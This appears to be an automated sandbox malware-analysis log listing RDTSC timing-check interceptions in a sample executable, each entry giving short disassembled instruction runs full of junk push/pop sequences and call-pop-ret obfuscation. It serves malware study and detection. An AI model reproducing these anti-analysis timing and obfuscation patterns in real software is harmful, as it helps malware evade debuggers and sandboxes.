Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73B9D2 second address: 73BA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F74AC8A01E8h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 call 00007F74AC8A01F8h 0x00000028 mov dword ptr [ebp+122D17AEh], eax 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 mov edi, 0CCCAEFEh 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F74AC8A01E8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push edx 0x00000056 jnl 00007F74AC8A01E6h 0x0000005c pop edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BA54 second address: 73BA5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BA5A second address: 73BA5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BA5E second address: 73BA6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BA6C second address: 73BA7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01EBh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73A85B second address: 73A88A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F74ACE25127h 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 jnc 00007F74ACE25116h 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BC27 second address: 73BCB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F74AC8A01E6h 0x00000009 jnl 00007F74AC8A01E6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov dword ptr [esp], eax 0x00000015 mov bx, 6A4Dh 0x00000019 push dword ptr fs:[00000000h] 0x00000020 xor bl, FFFFFF92h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a mov dword ptr [ebp+122D28EAh], ecx 0x00000030 mov dword ptr [ebp+12451310h], edi 0x00000036 mov eax, dword ptr [ebp+122D01CDh] 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F74AC8A01E8h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 ja 00007F74AC8A01E6h 0x0000005c mov di, cx 0x0000005f push FFFFFFFFh 0x00000061 push 00000000h 0x00000063 push ebx 0x00000064 call 00007F74AC8A01E8h 0x00000069 pop ebx 0x0000006a mov dword ptr [esp+04h], ebx 0x0000006e add dword ptr [esp+04h], 0000001Bh 0x00000076 inc ebx 0x00000077 push ebx 0x00000078 ret 0x00000079 pop ebx 0x0000007a ret 0x0000007b nop 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 push edx 0x00000081 pop edx 0x00000082 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BCB8 second address: 73BCBE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73BCBE second address: 73BCE3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F74AC8A01ECh 0x00000008 jp 00007F74AC8A01E6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F74AC8A01F2h 0x00000019 jmp 00007F74AC8A01ECh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73EAA3 second address: 73EB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ebx, dword ptr [ebp+122D2BFBh] 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122D1BE1h], eax 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov edi, esi 0x00000026 mov eax, dword ptr [ebp+122D13ADh] 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F74ACE25118h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 0000001Dh 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push ebx 0x0000004b call 00007F74ACE25118h 0x00000050 pop ebx 0x00000051 mov dword ptr [esp+04h], ebx 0x00000055 add dword ptr [esp+04h], 0000001Dh 0x0000005d inc ebx 0x0000005e push ebx 0x0000005f ret 0x00000060 pop ebx 0x00000061 ret 0x00000062 nop 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 jnc 00007F74ACE25116h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73EB25 second address: 73EB3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jns 00007F74AC8A01E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73EB3D second address: 73EB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F74ACE25127h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 740B96 second address: 740B9B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73FBDF second address: 73FC00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE25123h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F74ACE25116h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73FC00 second address: 73FC04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73FC04 second address: 73FC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F74ACE25128h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 742AC8 second address: 742ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 742ACE second address: 742AD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 745AAC second address: 745AC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F74AC8A01E6h 0x00000009 jng 00007F74AC8A01E6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 745AC4 second address: 745ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 745ACB second address: 745AD0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 745B8C second address: 745B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 746B5E second address: 746B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 746B65 second address: 746BA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F74ACE2511Fh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D22AAh], eax 0x00000012 push 00000000h 0x00000014 mov ebx, dword ptr [ebp+122D3790h] 0x0000001a push 00000000h 0x0000001c mov dword ptr [ebp+122D2885h], esi 0x00000022 xchg eax, esi 0x00000023 push eax 0x00000024 push ecx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pop ecx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F74ACE2511Ah 0x00000031 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 746BA5 second address: 746BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7499A7 second address: 7499B5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 748CA7 second address: 748CAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 74AAC6 second address: 74AAD8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F74ACE25116h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 74AAD8 second address: 74AADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 748CAC second address: 748D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, ax 0x0000000f push dword ptr fs:[00000000h] 0x00000016 pushad 0x00000017 sbb ecx, 71E73202h 0x0000001d mov dword ptr [ebp+122D261Bh], ebx 0x00000023 popad 0x00000024 jmp 00007F74ACE25121h 0x00000029 mov dword ptr fs:[00000000h], esp 0x00000030 push 00000000h 0x00000032 push ecx 0x00000033 call 00007F74ACE25118h 0x00000038 pop ecx 0x00000039 mov dword ptr [esp+04h], ecx 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ecx 0x00000046 push ecx 0x00000047 ret 0x00000048 pop ecx 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D34AEh], eax 0x00000050 mov eax, dword ptr [ebp+122D1515h] 0x00000056 push FFFFFFFFh 0x00000058 jmp 00007F74ACE2511Ch 0x0000005d nop 0x0000005e jl 00007F74ACE25124h 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 74AADC second address: 74AAE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7510DE second address: 7510E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7510E4 second address: 7510E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7510E8 second address: 7510F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7522F2 second address: 7522F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CC6 second address: 6E4CDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74ACE2511Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F74ACE2511Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CDE second address: 6E4CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CE4 second address: 6E4CE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CE9 second address: 6E4CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CF1 second address: 6E4CF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E4CF7 second address: 6E4CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7578DA second address: 7578E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F74ACE25116h 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7578E7 second address: 7578ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7578ED second address: 757915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F74ACE2511Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e ja 00007F74ACE2511Ch 0x00000014 jng 00007F74ACE25126h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 757D2B second address: 757D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 757D31 second address: 757D39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D52B second address: 75D55B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F74AC8A01F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F74AC8A01F3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D55B second address: 75D574 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F74ACE2511Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D574 second address: 75D5A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jbe 00007F74AC8A01F0h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F74AC8A01F0h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D677 second address: 75D682 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F74ACE25116h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D682 second address: 75D6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F74AC8A01F9h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007F74AC8A01E6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 75D6B2 second address: 75D6D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F74ACE25116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jl 00007F74ACE2511Eh 0x00000013 jnc 00007F74ACE25118h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 761E31 second address: 761E39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 761E39 second address: 761E41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76260C second address: 762610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 762610 second address: 762615 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 762733 second address: 762737 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 762737 second address: 76273B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7628BE second address: 7628CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 7628CB second address: 7628DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74ACE2511Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76576B second address: 765778 instructions: 0x00000000 rdtsc 0x00000002 je 00007F74AC8A01E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 766E1B second address: 766E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E9E70 second address: 6E9E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F74AC8A01EFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F74AC8A01F0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E9E98 second address: 6E9E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E9E9C second address: 6E9EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F74AC8A01F7h 0x0000000c jmp 00007F74AC8A01ECh 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 6E9EC7 second address: 6E9ECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76F72E second address: 76F732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76F732 second address: 76F74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F74ACE25116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F74ACE2511Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76F74C second address: 76F750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76F750 second address: 76F756 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 76F756 second address: 76F75B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77049C second address: 7704CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F74ACE25123h 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F74ACE25126h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77543B second address: 77543F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77543F second address: 775476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F74ACE25126h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F74ACE25124h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push eax 0x00000015 pop eax 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 775476 second address: 77547E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 77547E second address: 775482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730651 second address: 73065C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F74AC8A01E6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 73065C second address: 730668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oTZfvSwHTq.exe	RDTSC instruction interceptor: First address: 730668 second address: 730671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
